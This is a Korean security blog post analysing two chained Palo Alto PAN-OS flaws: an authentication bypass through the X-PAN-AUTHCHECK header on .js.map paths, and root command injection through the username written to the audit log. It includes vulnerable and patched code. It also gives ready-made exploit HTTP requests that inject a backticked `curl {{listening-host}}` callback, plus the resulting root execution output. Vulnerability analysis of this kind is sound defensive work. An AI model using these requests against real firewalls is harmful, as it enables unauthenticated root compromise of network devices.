[하루한줄] CVE-2024-0012/CVE-2024-9474: 팔로알토 방화벽(PAN OS) 인증 우회 및 권한 상승 취약점
URL
Target
CVE-2024-0012
- PAN-OS 11.2 < 11.2.4-h1
- PAN-OS 11.1 < 11.1.5-h1
- PAN-OS 11.0 < 11.0.6-h1
- PAN-OS 10.2 < 10.2.12-h2
CVE-2024-9474
- PAN-OS 11.2 < 11.2.4-h1
- PAN-OS 11.1 < 11.1.5-h1
- PAN-OS 11.0 < 11.0.6-h1
- PAN-OS 10.2 < 10.2.12-h2
- PAN-OS 10.1 < 10.1.14-h6
Explain
CVE-2024-0012는 Palo Alto Networks의 PAN-OS에서 발견된 인증 우회 취약점
으로, 이를 통해 관리자 웹 인터페이스
에 우회하여 접근할 수 있습니다. 인증 우회 상태에서 CVE-2024-9474를 연계하여 서버의 루트 권한으로 권한 상승
이 가능합니다.
PAN-OS의 관리자 웹 인터페이스는 Nginx와 Apache, PHP로 구성되어 있습니다. 위 취약점들은 Nginx의 설정 문제와 PHP 코드의 취약점으로 인해 발생합니다.
인증 우회(CVE-2024-0012)
인증 우회 취약점은 uiEnvSetup.php
파일에서 발생합니다. 해당 파일은 엔드포인트로 HTTP 요청이 왔을 때 헤더의 X-PAN-AUTHCHECK
값이 on/off 여부에 따라 인증이 필요한 상황인지, 인증 없이도 접근 가능한 페이지로 리다이렉트 할지 유도하는 로직입니다.
공격자는 if문의 HTTP_X_PAN_AUTHCHECK
의 값을 기본값 on에서 off로 조작하여 취약점을 공격할 수 있습니다.
1 if (
2 $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off' // on일 경우 인증절차 수행
3 && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
4 && $_SERVER['PHP_SELF'] !== '/php/login.php'
5 && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
6 ) {
7 $_SERVER['PAN_SESSION_READONLY'] = true;
8 $ws = WebSession::getInstance($ioc);
9 $ws->start();
10 $ws->close();
11 // these are horrible hacks.
12 // This whole code should be removed and only make available to a few pages: main, debug, etc.
13 if (
14 !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
15 && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
16 ) {
17 if (Backend::quickSessionExpiredCheck()) {
18 if (isset($_SERVER['QUERY_STRING'])) {
19 Util::login($_SERVER['QUERY_STRING']);
20 } else {
21 Util::login();
22 }
23 exit(1);
24 }
25 }
26 }
HTTP_X_PAN_AUTHCHECK
헤더의 값은 Nginx의 설정 파일 proxy_default.conf
을 통해 기본적으로 on으로 설정하고 있습니다.
1 # default proxy request header setting
2 proxy_set_header Host $host;
3 proxy_set_header X-Real-IP $remote_addr;
4 proxy_set_header X-Real-Scheme $scheme;
5 proxy_set_header X-Real-Port $server_port;
6 proxy_set_header X-Real-Server-IP $server_addr;
7 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
8 proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode;
9 proxy_set_header Proxy "";
10 proxy_set_header X-pan-AuthCheck $panAuthCheck;
11 proxy_max_temp_file_size 0;
다만, 특정 경로 .js.map
로 요청할 때, proxy_default.conf
의 설정이 명시적으로 포함되어 있지 않습니다. 이로 인해, 기본적으로 설정되어야 할 HTTP_X_PAN_AUTHCHECK
헤더가 누락되며 공격자가 헤더를 직접 조작할 수 있는 취약점이 발생합니다.
아래 코드의 23번 라인을 살펴보면 .js.map
으로 접근할 때 proxy_default.conf 설정을 include 하는 방식으로 패치한 것을 확인할 수 있습니다.
1 add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS";
2 if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
3 return 405;
4 }
5
6 + proxy_set_header X-Real-IP "";
7 + proxy_set_header X-Real-Scheme "";
8 + proxy_set_header X-Real-Port "";
9 + proxy_set_header X-Real-Server-IP "";
10 + proxy_set_header X-Forwarded-For "";
11 + proxy_set_header X-pan-ndpp-mode "";
12 + proxy_set_header Proxy "";
13 + proxy_set_header X-pan-AuthCheck 'on';
14
15
16 # rewrite_log on;
17
18 # static ones
19 @@ -27,6 +17,5 @@ location /nginx_status {
20 location ~ \.js\.map$ {
21 add_header Cache-Control "no-cache; no-store";
22 proxy_pass_header Authorization;
23 + include conf/proxy_default.conf;
24 proxy_pass http://$gohost$gohostExt;
25 }
따라서, 취약한 버전은 공격할 엔드포인트에 {PHP_FILE}.php/.js.map
를 맞춘 뒤, 헤더에 X-PAN-AUTHCHECK: off
를 담아 요청을 전송하면 인증이 우회된 상태로 엔드포인트에 접근이 가능합니다.
권한 상승(CVE-2024-9474)
권한 상승 취약점은 감사 로그를 작성하는 코드 AuditLog.php
에서 발생합니다. 해당 코드에는 로깅이 이루어지는 시점에 pexecute 함수를 사용하며 $username
변수를 사용합니다. username에 백틱 문자 (
)` 이 삽입될 경우 커맨드 인젝션이 발생합니다.
취약점이 발생하는 코드는 escapeshellarg
함수로 $username 변수의 값을 이스케이프 처리 하는 방식으로 패치했습니다.
1 <?php
2
3 namespace panui_core\log;
4
5 use pan_core\InjectableClass;
6 use pan_process\Process;
7 use pan_process\ShellSanitizer;
8
9 class AuditLog extends InjectableClass
10 {
11 public function write($username, $message) {
13 $s = $this->ioc->get(ShellSanitizer::class);
14 $msg = $s->escapeshellarg($message);
17 $p = $this->ioc->get(Process::class);
18 return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
21 }
22 }
공격자는 인증 우회 취약점을 활용하여 createRemoteAppwebSession.php
에 POST 요청을 보낼 수 있습니다.
user
파라미터 값이 세션 데이터의 userName
필드에 저장됩니다. 해당 필드에 백틱(
)`으로 쉘 커맨드를 입력할 경우 취약점 공격이 가능합니다.
1 <?php
2
3 WebSession::start();
4
5 /** @noinspection PhpUndefinedFunctionInspection */
6 $isCms = panui_platform_is_cms();
7 if ($isCms == 0) {
8 // create a remote appweb session only on a device
9 // 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys
10
11 $locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
12 /** @noinspection PhpUndefinedFunctionInspection */
13 panCreateRemoteAppwebSession(
14 $_POST['user'],
15 $_POST['userRole'],
16 $_POST['remoteHost'],
17 $_POST['vsys'],
18 $_POST['editShared'],
19 $_POST['prot'],
20 $_SERVER['SERVER_PORT'],
21 $_POST['rbaxml'],
22 $locale,
23 $_POST['hideHeaderBg'],
24 );
25 }
26
27 session_write_close();
28
요청 예시
POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1
응답 예시
HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 09:06:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 48
Connection: keep-alive
Set-Cookie: PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache; no-store
@start@PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6@end@
응답으로 온 세션은 파일 시스템에 아래와 같이 생성됩니다. 이 세션 데이터는 이후 로직에서 userName
값으로 읽혀 명령어가 실행됩니다.
[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6
cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"XXXX";userName|s:52:"`curl {{listening-host}}`";userRole|s:9:"superuser"
조작된 세션으로 index.php
에 요청하면,AuditLog::write
함수가 호출되며, 이 과정에서 세션 데이터에 포함된 명령어가 실행됩니다.
GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2jq4l1nv43idudknmhj830vdde;
X-PAN-AUTHCHECK: off
Connection: keep-alive
공격에 성공할 경우 시스템 상에서는 아래와 커맨드 명령을 통해 관리자 권한으로 상승
하여 RCE 등을 수행할 수 있습니다.
CMD: UID=0 PID=87502 | sh -c export panusername="`curl {{listening-host}}`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state
취약점이 발생하는 코드는 escapeshellarg
함수로 $username 변수의 값을 이스케이프 처리 하는 방식으로 패치했습니다.
1 <?php
2
3 namespace panui_core\log;
4
5 use pan_core\InjectableClass;
6 use pan_process\Process;
7 use pan_process\ShellSanitizer;
8
9 class AuditLog extends InjectableClass
10 {
11 public function write($username, $message) {
13 $s = $this->ioc->get(ShellSanitizer::class);
14 $msg = $s->escapeshellarg($message);
17 $p = $this->ioc->get(Process::class);
18 - return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
/* 패치 코드 */
19 + $u = $s->escapeshellarg($username);
20 + return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u");
21 }
22 }
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.